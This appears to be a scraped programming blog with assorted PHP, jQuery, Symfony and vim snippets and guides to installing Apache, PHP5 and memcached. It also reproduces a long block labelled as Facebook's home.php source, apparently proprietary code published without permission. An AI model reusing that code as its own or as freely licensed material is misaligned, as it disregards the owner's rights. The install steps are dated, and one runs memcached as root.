print( "ResourceId = ".DBconnection::connect()->connectionId()."
" );
print( "ResourceId = ".DBconnection::connect()->connectionId()."
" );
jQuery: How to check if the javascript function exist
To check if the javascript function is exist, we can check using typeof(). See example below:
jQuery(document).ready(function() {
if(typeof $(".change-password").fancybox == 'function') {
$('.change-password').fancybox({
'width' : '60%',
'height' : 400,
'transitionIn' : 'fade',
'autoScale' : false,
'transitionOut' : 'fade',
'scrolling' : 'no',
'type' : 'iframe',
'href' : $(this).attr('href')
});
}
});
Fraction of Facebook source code (home.php)
include_once $_SERVER['PHP_ROOT'].'/html/init.php';
include_once $_SERVER['PHP_ROOT'].'/lib/home.php';
include_once $_SERVER['PHP_ROOT'].'/lib/requests.php';
include_once $_SERVER['PHP_ROOT'].'/lib/feed/newsfeed.php';
include_once $_SERVER['PHP_ROOT'].'/lib/poke.php';
include_once $_SERVER['PHP_ROOT'].'/lib/share.php';
include_once $_SERVER['PHP_ROOT'].'/html/init.php';
include_once $_SERVER['PHP_ROOT'].'/lib/home.php';
include_once $_SERVER['PHP_ROOT'].'/lib/requests.php';
include_once $_SERVER['PHP_ROOT'].'/lib/feed/newsfeed.php';
include_once $_SERVER['PHP_ROOT'].'/lib/poke.php';
include_once $_SERVER['PHP_ROOT'].'/lib/share.php';
include_once $_SERVER['PHP_ROOT'].'/lib/orientation.php';
include_once $_SERVER['PHP_ROOT'].'/lib/feed/newsfeed.php';
include_once $_SERVER['PHP_ROOT'].'/lib/mobile/register.php';
include_once $_SERVER['PHP_ROOT'].'/lib/forms_lib.php';
include_once $_SERVER['PHP_ROOT'].'/lib/contact_importer/contact_importer.php';
include_once $_SERVER['PHP_ROOT'].'/lib/feed/util.php';
include_once $_SERVER['PHP_ROOT'].'/lib/hiding_prefs.php';
include_once $_SERVER['PHP_ROOT'].'/lib/abtesting.php';
include_once $_SERVER['PHP_ROOT'].'/lib/friends.php';
include_once $_SERVER['PHP_ROOT'].'/lib/statusupdates.php';
// lib/display/feed.php has to be declared here for scope issues.
// This keeps display/feed.php cleaner and easier to understand.
include_once $_SERVER['PHP_ROOT'].'/lib/display/feed.php';
include_once $_SERVER['PHP_ROOT'].'/lib/monetization_box.php';
// require login
$user = require_login();
print_time('require_login');
param_request(array( 'react' => $PARAM_EXISTS));
// Check and fix broken emails
// LN - disabling due to excessive can_see dirties and sets when enabled.
//check_and_fix_broken_emails($user);
// migrate AIM screenname from profile to screenname table if needed
migrate_screenname ($user);
// homepage announcement variables
$HIDE_ANNOUNCEMENT_BIT = get_site_variable('HIDE_ANNOUNCEMENT_BIT');
$HIDE_INTRO_BITMASK = get_site_variable('HIDE_INTRO_BITMASK');
// redirects
if (is_sponsor_user()) {
redirect('bizhome.php', 'www');
}
include_once $_SERVER['PHP_ROOT'].'/lib/mesg.php';
include_once $_SERVER['PHP_ROOT'].'/lib/invitetool.php';
include_once $_SERVER['PHP_ROOT'].'/lib/grammar.php';
include_once $_SERVER['PHP_ROOT'].'/lib/securityq.php';
include_once $_SERVER['PHP_ROOT'].'/lib/events.php';
include_once $_SERVER['PHP_ROOT'].'/lib/rooster/stories.php';
// todo: password confirmation redirects here (from html/reset.php),
// do we want a confirmation message?
param_get_slashed(array(
'feeduser' => $PARAM_INT, //debug: gets feed for user here
'err' => $PARAM_STRING, // returning from a failed entry on an orientation form
'error' => $PARAM_STRING, // an error can also be here because the profile photo upload code is crazy
'ret' => $PARAM_INT,
'success' => $PARAM_INT, // successful profile picture upload
'jn' => $PARAM_INT, // joined a network for orientation
'np' => $PARAM_INT, // network pending (for work/address network)
'me' => $PARAM_STRING, // mobile error
'mr' => $PARAM_EXISTS, // force mobile reg view
'mobile' => $PARAM_EXISTS, // mobile confirmation code sent
'jif' => $PARAM_EXISTS, // just imported friends
'ied' => $PARAM_STRING, // import email domain
'o' => $PARAM_EXISTS, // first time orientation, passed on confirm
'verified' => $PARAM_EXISTS)); // verified mobile phone
param_post(array(
'leave_orientation' => $PARAM_EXISTS,
'show_orientation' => $PARAM_INT, // show an orientation step
'hide_orientation' => $PARAM_INT)); // skip an orientation step
// homepage actions
if ($req_react && validate_expiring_hash($req_react, $GLOBALS['url_md5key'])) {
$show_reactivated_message = true;
} else {
$show_reactivated_message = false;
}
tpl_set('show_reactivated_message', $show_reactivated_message);
// upcoming events
events_check_future_events($user); // make sure big tunas haven't moved around
$upcoming_events = events_get_imminent_for_user($user);
// this is all stuff that can be fetched together!
$upcoming_events_short = array();
obj_multiget_short(array_keys($upcoming_events), true, $upcoming_events_short);
$new_pokes = 0;
//only get the next N pokes for display
//where N is set in the dbget to avoid caching issues
$poke_stats = get_num_pokes($user);
get_next_pokes($user, true, $new_pokes);
$poke_count = $poke_stats['unseen'];
$targeted_data = array();
home_get_cache_targeted_data($user, true, $targeted_data);
$announcement_data = array();
home_get_cache_announcement_data($user, true, $announcement_data);
$orientation = 0;
orientation_get_status($user, true, $orientation);
$short_profile = array();
profile_get_short($user, true, $short_profile);
// pure priming stuff
privacy_get_network_settings($user, true);
$presence = array();
mobile_get_presence_data($user, true, $presence);
feedback_get_event_weights($user, true);
// Determine if we want to display the feed intro message
$intro_settings = 0;
user_get_hide_intro_bitmask($user, true, $intro_settings);
$user_friend_finder = true;
contact_importer_get_used_friend_finder($user, true, $used_friend_finder);
$all_requests = requests_get_cache_data($user);
// FIXME?: is it sub-optimal to call this both in requests_get_cache_data and here?
$friends_status = statusupdates_get_recent($user, null, 3);
memcache_dispatch(); // populate cache data
// Merman's Admin profile always links to the Merman's home
if (user_has_obj_attached($user)) {
redirect('mhome.php', 'www');
}
if (is_array($upcoming_events)) {
foreach ($upcoming_events as $event_id => $data) {
$upcoming_events[$event_id]['name'] = txt_set($upcoming_events_short[$event_id]['name']);
}
}
tpl_set('upcoming_events' , $upcoming_events);
// disabled account actions
$disabled_warning = ((IS_DEV_SITE || IS_QA_SITE) && is_disabled_user($user));
tpl_set('disabled_warning', $disabled_warning);
// new pokes (no more messages here, they are in the top nav!)
if (!user_is_guest($user)) {
tpl_set('poke_count' , $poke_count);
tpl_set('pokes' , $new_pokes);
}
// get announcement computations
tpl_set('targeted_data' , $targeted_data);
tpl_set('announcement_data' , $announcement_data);
// birthday notifications
tpl_set('birthdays' , $birthdays = user_get_birthday_notifications($user, $short_profile));
tpl_set('show_birthdays' , $show_birthdays = (count($birthdays) || !$orientation));
// user info
tpl_set('first_name' , user_get_first_name(txt_set($short_profile['id'])));
tpl_set('user' , $user);
// decide if there are now any requests to show
$show_requests = false;
foreach ($all_requests as $request_category) {
if ($request_category) {
$show_requests = true;
break;
}
}
tpl_set('all_requests', $show_requests ? $all_requests : null);
$permissions = privacy_get_reduced_network_permissions($user, $user);
// status
$user_info = array('user' => $user,
'firstname' => user_get_first_name($user),
'see_all' => '/statusupdates/?ref=hp',
'profile_pic' => make_profile_image_src_direct($user, 'thumb'),
'square_pic' => make_profile_image_src_direct($user, 'square'));
if (!empty($presence) && $presence['status_time'] > (time() - 60*60*24*7)) {
$status = array('message' => txt_set($presence['status']),
'time' => $presence['status_time'],
'source' => $presence['status_source']);
} else {
$status = array('message' => null, 'time' => null, 'source' => null);
}
tpl_set('user_info', $user_info);
tpl_set('show_status', $show_status = !$orientation);
tpl_set('status', $status);
tpl_set('status_custom', $status_custom = mobile_get_status_custom($user));
tpl_set('friends_status', $friends_status);
// orientation
if ($orientation) {
if ($post_leave_orientation) {
orientation_update_status($user, $orientation, 2);
notification_notify_exit_orientation($user);
dirty_user($user);
redirect('home.php');
} else if (orientation_eligible_exit(array('uid'=>$user)) == 2) {
orientation_update_status($user, $orientation, 1);
notification_notify_exit_orientation($user);
dirty_user($user);
redirect('home.php');
}
}
// timezone - outside of stealth, update user's timezone if necessary
$set_time = !user_is_alpha($user, 'stealth');
tpl_set('timezone_autoset', $set_time );
if ($set_time) {
$daylight_savings = get_site_variable('DAYLIGHT_SAVINGS_ON');
tpl_set('timezone', $short_profile['timezone'] - ($daylight_savings ? 4 : 5) );
}
// set next step if we can
if (!$orientation) {
user_set_next_step($user, $short_profile);
}
// note: don't make this an else with the above statement, because then no news feed stories will be fetched if they're exiting orientation
if ($orientation) {
extract(orientation_get_const());
require_js('js/dynamic_dialog.js');
require_js('js/suggest.js');
require_js('js/typeahead_ns.js');
require_js('js/suggest.js');
require_js('js/editregion.js');
require_js('js/orientation.js');
require_css('css/typeahead.css');
require_css('css/editor.css');
if ($post_hide_orientation && $post_hide_orientation <= $ORIENTATION_MAX) {
$orientation['orientation_bitmask'] |= ($post_hide_orientation * $ORIENTATION_SKIPPED_MODIFIER);
orientation_update_status($user, $orientation);
} else if ($post_show_orientation && $post_show_orientation <= $ORIENTATION_MAX) {
$orientation['orientation_bitmask'] &= ~($post_show_orientation * $ORIENTATION_SKIPPED_MODIFIER);
orientation_update_status($user, $orientation);
}
$stories = orientation_get_stories($user, $orientation);
switch ($get_err) {
case $ORIENTATION_ERR_COLLEGE:
$temp = array(); // the affil_retval_msg needs some parameters won't be used
$stories[$ORIENTATION_NETWORK]['failed_college']=affil_retval_msg($get_ret, $temp, $temp);
break;
case $ORIENTATION_ERR_CORP:
$temp = array();
// We special case the network not recognized error here, because affil_retval_msg is retarded.
$stories[$ORIENTATION_NETWORK]['failed_corp'] = ($get_ret == 70) ? 'The email you entered did not match any of our supported networks. ' .
'Click here to see our supported list. ' .
'Go here to suggest your network for the future.'
: affil_retval_msg($get_ret, $temp, $temp);
break;
}
// photo upload error
if ($get_error) {
$stories[$ORIENTATION_ORDER[$ORIENTATION_PROFILE]]['upload_error'] = pic_get_error_text($get_error);
}
// photo upload success
else if ($get_success == 1) {
$stories[$ORIENTATION_ORDER[$ORIENTATION_PROFILE]]['uploaded_pic'] = true;
// join network success
} else if ($get_jn) {
$stories[$ORIENTATION_ORDER[$ORIENTATION_NETWORK]]['joined'] = array(
'id' => $get_jn,
'name' => network_get_name($get_jn));
// network join pending
} else if ($get_np) {
$stories[$ORIENTATION_ORDER[$ORIENTATION_NETWORK]]['join_pending'] = array(
'id' => $get_np,
'email' => get_affil_email_conf($user, $get_np),
'network' => network_get_name($get_np));
// just imported friend confirmation
} else if ($get_jif) {
$stories[$ORIENTATION_ORDER[$ORIENTATION_NETWORK]]['just_imported_friends'] = true;
$stories[$ORIENTATION_ORDER[$ORIENTATION_NETWORK]]['domain'] = $get_ied;
}
// Mobile web API params
if ($get_mobile) {
$stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['sent_code'] = true;
$stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['view'] = 'confirm';
}
if ($get_verified) {
$stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['verified'] = true;
}
if ($get_me) {
$stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['error'] = $get_me;
}
if ($get_mr) {
$stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['view'] = 'register';
}
if (orientation_eligible_exit($orientation)) {
tpl_set('orientation_show_exit', true);
}
tpl_set('orientation_stories', $stories);
//if in orientation, we hide all feed intros (all 1's in bitmask)
$intro_settings = -1;
}
tpl_set('orientation', $orientation);
// Rooster Stories
if (!$orientation &&
((get_site_variable('ROOSTER_ENABLED') == 2) ||
(get_site_variable('ROOSTER_DEV_ENABLED') == 2))) {
$rooster_story_count = get_site_variable('ROOSTER_STORY_COUNT');
if (!isset($rooster_story_count)) {
// Set default if something is wrong with the sitevar
$rooster_story_count = 2;
}
$rooster_stories = rooster_get_stories($user, $rooster_story_count, $log_omissions = true);
if (!empty($rooster_stories) && !empty($rooster_stories['stories'])) {
// Do page-view level logging here
foreach($rooster_stories['stories'] as $story) {
rooster_log_action($user, $story, ROOSTER_LOG_ACTION_VIEW);
}
tpl_set('rooster_stories', $rooster_stories);
}
}
// set the variables for the home announcement code
$hide_announcement_tpl = ($intro_settings | $HIDE_INTRO_BITMASK) & $HIDE_ANNOUNCEMENT_BIT;
// if on qa/dev site, special rules
$HIDE_INTRO_ON_DEV = get_site_variable('HIDE_INTRO_ON_DEV');
if ((IS_QA_SITE || IS_DEV_SITE) && !$HIDE_INTRO_ON_DEV) {
$hide_announcement_tpl = 0;
}
tpl_set('hide_announcement', $hide_announcement_tpl);
if($is_candidate = is_candidate_user($user)) {
tpl_set('hide_announcement', false);
}
$home_announcement_tpl = !$hide_announcement_tpl || $is_candidate ? home_get_announcement_info($user) : 0;
tpl_set('home_announcement', $home_announcement_tpl);
tpl_set('hide_announcement_bit', $HIDE_ANNOUNCEMENT_BIT);
$show_friend_finder = !$orientation && contact_importer_enabled($user) && !user_get_hiding_pref($user, 'home_friend_finder');
tpl_set('show_friend_finder', $show_friend_finder);
if ($show_friend_finder && (user_get_friend_count($user) > 20)) {
tpl_set('friend_finder_hide_options', array('text'=>'close',
'onclick'=>"return clearFriendFinder()"));
} else {
tpl_set('friend_finder_hide_options', null);
}
$account_info = user_get_account_info($user);
$account_create_time = $account_info['time'];
tpl_set('show_friend_finder_top',
!$used_friend_finder);
tpl_set('user', $user);
// MONETIZATION BOX
$minimize_monetization_box = user_get_hiding_pref($user, 'home_monetization');
$show_monetization_box = (!$orientation &&
get_site_variable('HOMEPAGE_MONETIZATION_BOX'));
tpl_set('show_monetization_box', $show_monetization_box);
tpl_set('minimize_monetization_box', $minimize_monetization_box);
if ($show_monetization_box) {
$monetization_box_data = monetization_box_user_get_data($user);
txt_set('monetization_box_data', $monetization_box_data);
}
// ORIENTATION
if ($orientation) {
$network_ids = id_get_networks($user);
$network_names = multiget_network_name($network_ids);
$in_corp_network = in_array($GLOBALS['TYPE_CORP'], array_map('extract_network_type', $network_ids));
$show_corp_search = $in_corp_network ||
get_age(user_get_basic_info_attr($user, 'birthday')) >= 21;
$pending_hs = is_hs_pending_user($user);
$hs_id = null;
$hs_name = null;
if ($pending_hs) {
foreach (id_get_pending_networks($user) as $network) {
if (extract_network_type($network['network_key']) == $GLOBALS['TYPE_HS']) {
$hs_id = $network['network_key'];
$hs_name = network_get_name($hs_id);
break;
}
}
}
//$orientation_people = orientation_get_friend_and_inviter_ids($user);
$orientation_people = array('friends' => user_get_all_friends($user),
'pending' => array_keys(user_get_friend_requests($user)),
'inviters'=> array(), // wc: don't show inviters for now
);
$orientation_info = array_merge($orientation_people,
array('network_names' => $network_names,
'show_corp_search' => $show_corp_search,
'pending_hs' => array('hs_id'=>$hs_id,
'hs_name'=>$hs_name),
'user' => $user,
));
tpl_set('orientation_info', $orientation_info);
tpl_set('simple_orientation_first_login', $get_o); // unused right now
}
// Roughly determine page length for ads
// first, try page length using right-hand panel
$ads_page_length_data = 3 + // 3 for profile pic + next step
($show_friend_finder ? 1 : 0) +
($show_status ? ($status_custom ? count($friends_status) : 0) : 0) +
($show_monetization_box ? 1 : 0) +
($show_birthdays ? count($birthdays) : 0) +
count($new_pokes);
// page length using feed stories
if ($orientation) {
$ads_page_length_data = max($ads_page_length_data, count($stories) * 5);
}
tpl_set('ads_page_length_data', $ads_page_length_data);
$feed_stories = null;
if (!$orientation) { // if they're not in orientation they get other cool stuff
// ad_insert: the ad type to try to insert for the user
// (0 if we don't want to try an insert)
$ad_insert = get_site_variable('FEED_ADS_ENABLE_INSERTS');
$feed_off = false;
if (check_super($user) && $get_feeduser){
$feed_stories = user_get_displayable_stories($get_feeduser, 0, null, $ad_insert);
} else if (can_see($user, $user, 'feed')) {
$feed_stories = user_get_displayable_stories($user, 0, null, $ad_insert);
} else {
$feed_off = true;
}
// Friend's Feed Selector - Requires dev.php constant
if (is_friendfeed_user($user)) {
$friendfeed = array();
$friendfeed['feeduser'] = $get_feeduser;
$friendfeed['feeduser_name'] = user_get_name($get_feeduser);
$friendfeed['friends'] = user_get_all_friends($user);
tpl_set('friendfeed', $friendfeed);
}
$feed_stories = feed_adjust_timezone($user, $feed_stories);
tpl_set('feed_off', $feed_off ? redirect('privacy.php?view=feeds', null, false) : false);
}
tpl_set('feed_stories', $feed_stories);
render_template($_SERVER['PHP_ROOT'].'/html/home.phpt');
How to install PHP5 and Apache on Ubuntu
How to install PHP5 and Apache on Ubuntu
In your command shell, you will run the following commands:
$ sudo apt-get install apache2 $ sudo apt-get install php5 $ sudo /etc/init.d/apache2 restart
Thats all. In case, you encountered an error like this “Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName..” after restarting the Apache server. To fix that problem, you need to edit the httpd.conf file. Type this in your terminal:
$ sudo vi /etc/apache2/httpd.conf
By default httpd.conf file will be blank. Now, add the following line to the file.
ServerName localhost
Save the file and restart the apache2 server
$ sudo /etc/init.d/apache2 restart
To make sure that everything is working fine, create a simple PHP code, save as phpinfo.php:
phpinfo();
Then run it in your browser http://localhost/phpinfo.php, and it will display all PHP information.
Install memcached in ubuntu
Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.
Memcached is simple yet powerful. Its simple design promotes quick deployment, ease of development, and solves many problems facing large data caches. Its API is available for most popular languages.
To install memcached type this command
$ apt-get install php5-memcache
The php5-memcache package installs everything correctly and adds a memcache.ini file to the path: /etc/php5/conf.d/
which is where all the individual php extension packages put their ini files to be read. If you look at that file you will find that the line: extension=memcache.so is commented out with a semicolon preceding it. If you uncomment that line then memcache becomes available and you can manipulate the other settings in the file as necessary.
e.g. extension=memcache.so
To find out your php.ini location, execute following command:
$ php -i | grep php.ini
Configuration File (php.ini) Path => /usr/local/lib or /etc/php5/conf.d/
And finally restart Apache so that it will pick up the new extension:
e.g
/etc/init.d/apache2 restart
or
/etc/init.d/httpd restart
Running phpinfo() on your webserver should now confirm that memcache is installed.
To check the running status of memcached
$ netstat -anp | grep 11211
tcp 0 0 :::11211 :::* LISTEN 6475/memcached
udp 0 0 0.0.0.0:11211 0.0.0.0:* 6475/memcached
To check is memcache extension loaded in php, execute following command.
$ php -i | grep memcache
memcache
memcache support => enabled
memcache.allow_failover => 1 => 1
memcache.chunk_size => 8192 => 8192
memcache.default_port => 11211 => 11211
memcache.default_timeout_ms => 1000 => 1000
memcache.hash_function => crc32 => crc32
memcache.hash_strategy => standard => standard
memcache.max_failover_attempts => 20 => 20
Registered save handlers => files user sqlite memcache
PWD => /usr/src/memcache-2.2.5
_SERVER[“PWD”] => /usr/src/memcache-2.2.5
_ENV[“PWD”] => /usr/src/memcache-2.2.5
This information can also be seen using phpinfo().
RELATED ARTICLES:
http://www.lullabot.com/articles/how-install-memcache-debian-etch
http://devdoodles.wordpress.com/2009/02/10/installing-memcached-from-source-on-ubuntu-810/
http://www.shantanubhadoria.com/techno-blab/installing-php5-memcache-extension-module-on-ubuntu
http://www.zayinkrige.com/installing-memcached-on-ubuntu-10-04/
(Source: ubuntuforums.org)
Installing and using memcache on ubuntu and debian
To install memcached, simply run the following command:
sudo apt-get install memcached
Once it’s installed, edit /etc/memcached.conf and change the line beginning ‘-m’ which is the amount of memory (in megabytes) to allocate to the server. You can also change the IP address that the server listens on in the line beginning -l.
Now restart the daemon by running
/etc/init.d/memcached restart
To start the new memcache manually using the following command:
/usr/local/bin/memcached -d -u root -m 512 -p 11211
Now you have memcache set up and running on your server. A great feature of memcached is that you can easily cluster servers. If you want to do this, simply install memcache on your other servers before continuing.
Linux commands
#To check the running process: #netstat - Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships netstat -tap top - display top CPU processes vi (aka vim) tutorial, tips, tricks and useful commands Where grep came from (RE being Regular Expression): :g/RE/p #Delete lines 10 to 20 inclusive: :10,20d #or with marks a and b: :'a,'bd #Delete lines that contain pattern: :g/pattern/d #Delete all empty lines: :g/^$/d #Delete lines in range that contain pattern: :20,30/pattern/d #or with marks a and b: :'a,'b/pattern/d #Substitute all lines for first occurance of pattern: :%s/pattern/new/ :1,$s/pattern/new/ #Substitute all lines for pattern globally (more than once on the line): :%s/pattern/new/g :1,$s/pattern/new/g #Find all lines containing pattern and then append -new to the end of each line: :%s/\(.*pattern.*\)/\1-new/g #Substitute range: :20,30s/pattern/new/g #with marks a and b: :'a,'bs/pattern/new/g #Swap two patterns on a line: :s/\(pattern1\)\(pattern2\)/\2\1/ #Capitalize the first lowercase character on a line: :s/\([a-z]\)/\u\1/ #more concisely: :s/[a-z]/\u&/ #Capitalize all lowercase characters on a line: :s/\([a-z]\)/\u\1/g #more concisely: :s/[a-z]/\u&/g #Capitalize all characters on a line: :s/\(.*\)/\U\1\E/ #Capitalize the first character of all words on a line: :s/\<[a-z]/\u&/g #Uncapitalize the first character of all words on a line: :s/\<[A-Z]/\l&/g #Change case of character under cursor: ~ #Change case of all characters on line: g~~ #Change case of remaining word from cursor: g~w #Increment the number under the cursor: #Decrement the number under the cursor: #redraw: #Turn on line numbering: :set nu #Turn it off: :set nonu #Number lines (filter the file through a unix command and replace with output): :%!cat -n #Sort lines: :%!sort #Sort on column #69: :sort /.*\%69v/ #Sort and uniq: :%!sort -u #Read output of command into buffer: :r !ls -l #Refresh file from version on disk: :e! #Open a new window: n #Open a new window with the same file (split): s #Split window vertically: v #Close current window: c :q #Make current window the only window: o #Cycle to next window: w #Move to window below current window: j #Move to window above current window: k #Move to window left of current window: h #Move to window right of current window: l #Set textwidth for automatic line-wrapping as you type: :set textwidth=80 #Turn on syntax highlighting :syn on #Turn it off: :syn off #Force the filetype for syntax highlighting: :set filetype=python :set filetype=c :set filetype=php #Use lighter coloring scheme for a dark background: :set background=dark #Htmlize a file using the current syntax highlighting: :so $VIMRUNTIME/syntax/2html.vim #Or, htmlize from a command prompt: #in 2html.sh put: #!/bin/sh vim -n -c ':so $VIMRUNTIME/syntax/2html.vim' -c ':wqa' $1 > /dev/null 2> /dev/null #Now just run: shell> 2html.sh foo.py # change the ownership of the folder # $ sudo chown -R yourusername:nameofthegroup folder $ sudo chown -R arman:root /var/www/ Document originally from http://www.cs.ualberta.ca/~luca/tricks.vim.html updated and maintained by Greg Lawler
Memcache vs Memcached
If you are confused between memcache and memcached:
check the link below:
http://serverfault.com/questions/63383/memcache-vs-memcached
Install PHP Memcache extension
- Download the correct build here.
- The archive should contain
php_memcache.dll. Extract the archive to your php extensions directory. On my system (i use XAMPP), this wasC:\xampp\php\ext\ -
Edit
php.ini, add this line to enable the extension:extension=php_memcache.dll
-
Finally restart your server.
To test your memcache installation run this piece of code in your machine:
$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ('Could not connect');
$version = $memcache->getVersion();
echo 'Server’s version: '.$version.'
\n';
$tmp_object = new stdClass;
$tmp_object->str_attr = 'hello';
$tmp_object->int_attr = 123;
$memcache->set('key', $tmp_object, false, 2) or die ('Failed to save data at the server');
echo 'Store data in the cache (data will expire in 2 seconds)
\n';
$get_result = $memcache->get('key');
echo 'Data from the cache:
\n';
echo '';
var_dump($get_result);
print_r($get_result);
Install memcached
- Download the Memcached Win32 library here: http://code.jellycan.com/memcached. Just get the Win32 binary (direct link). Extract the downloaded archive file in a directory (e.g.
c:\memcached). There should be amemcached.exein there. - Run a command prompt as an administrator. Some info on how to do that here.
-
Install memcached as a service. Go to the memcached directory, type and run:
memcached.exe -d installIf you get an error saying “MSVCP71.dll is missing”, see this page for a solution.
-
Start the memcached service by running:
memcached.exe -d start -
You can verify if memcached is running by executing this in the command line:
wmic process get description, executablepath | findstr memcached.exeYou should see a result list showing memcached.exe and its full path.
More info about memcached:
http://stackoverflow.com/questions/1511045/php-memcache-dll-for-php-5-3
(Source: shikii.net)
Symfony: Short way in getting all users in widget
$this->setWidgets(
array('sf_guard_user_id' => new sfWidgetFormDoctrineChoice(array('model' => 'sfGuardUser', 'add_empty' => true)))
);
$this->setValidators(
array('sf_guard_user_id' => new sfValidatorDoctrineChoice(array('required' => false, 'model' => 'sfGuardUser', 'column' => 'id')))
);
Here we set the key as model with a value of sfGuardUser, it will return the list of all users
Symfony: Saving sfGuardUser and link it to User object
$guarduser = new sfGuardUser(); $guarduser->setUsername($username); $guarduser->setIsActive(1); $guarduser->setPassword($password); $guarduser->save(); $user = new User(); $user->sf_guard_user_id = $guarduser->id; $user->name = $name; $user->surname = $surname; $user->country_id = $country; $user->save();